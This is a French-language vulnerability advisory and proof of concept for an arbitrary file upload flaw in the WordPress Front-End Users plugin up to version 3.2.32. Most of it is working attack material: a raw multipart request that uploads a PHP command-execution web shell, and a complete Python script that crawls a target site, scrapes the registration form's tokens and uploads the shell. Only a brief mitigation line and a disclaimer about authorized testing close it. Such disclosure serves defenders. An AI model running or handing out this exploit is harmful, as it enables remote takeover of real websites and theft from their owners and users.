
WordPress Front End Users Plugin <= 3.2.32 est vulnérable au téléversement arbitraire de fichiers.
WordPress Front End Users Plugin <= 3.2.32 est vulnérable à un téléchargement arbitraire de fichiers
La vulnérabilité réside dans la façon dont le plugin Front-End Users gère les téléchargements de fichiers via les formulaires d'inscription. Il n'existe ni validation appropriée de l'extension des fichiers, ni contrôles d'authentification, ni assainissement du type de fichier. Un attaquant peut envoyer une requête POST multipart/form-data à n'importe quel formulaire d'inscription rendu par le plugin et inclure un fichier PHP malveillant dans le champ personnalisé (par exemple Nxploit).
Même si le plugin stocke les fichiers téléchargés dans le répertoire wp-content/uploads/ewd_feup_uploads/, le fichier téléchargé est renommé avec un hash aléatoire. Cependant, le fichier reste exécutable si l'exécution de PHP est autorisée dans le répertoire des téléchargements.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--
Après la requête, le fichier sera enregistré à l'emplacement suivant :
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php
Le nom du fichier ne correspondra pas au nom du fichier téléchargé (par exemple shell.php), mais il peut être découvert manuellement ou deviné à l'aide d'un scanner.
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print("[*] Starting scan on:", base_url)
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Failed to fetch base URL.")
print("Error:", str(e))
exit()
page_links = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if href.startswith("/") or base_url in href:
full_url = urljoin(base_url, href)
page_links.add(full_url)
print(f"[*] Found {len(page_links)} internal pages to scan...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
registration_url = link
print(f"[+] Found FEUP registration form at: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] Could not automatically locate the FEUP registration form.")
print("[!] Please provide the correct path manually using --url.")
exit()
page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')
def get_input_value(name):
field = soup.find('input', {'name': name})
return field['value'] if field else ''
check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')
file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''
print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)
data = {
'ewd-feup-check': check_value,
'ewd-feup-time': time_value,
'ewd-feup-action': 'register',
'ewd-feup-post-id': post_id,
'ewd-feup-omit-level': 'No',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'First Name': 'admin',
'Last Name': 'admin',
'Register_Submit': 'Register'
}
files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}
print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")
if upload_response.status_code == 200:
print("[+] Upload request completed.")
else:
print("[-] Upload may have failed.")
temp_shell.close()
Mettez à jour le plugin Front-End Users vers la dernière version sécurisée (si disponible), ou désactivez-le temporairement si aucun correctif n'existe. De plus :
Cette preuve de concept (PoC) est uniquement destinée à des fins éducatives et de tests de sécurité autorisés. Utilisez-la de manière responsable et uniquement contre des cibles pour lesquelles vous disposez d'une autorisation explicite de test.
par Nxploit.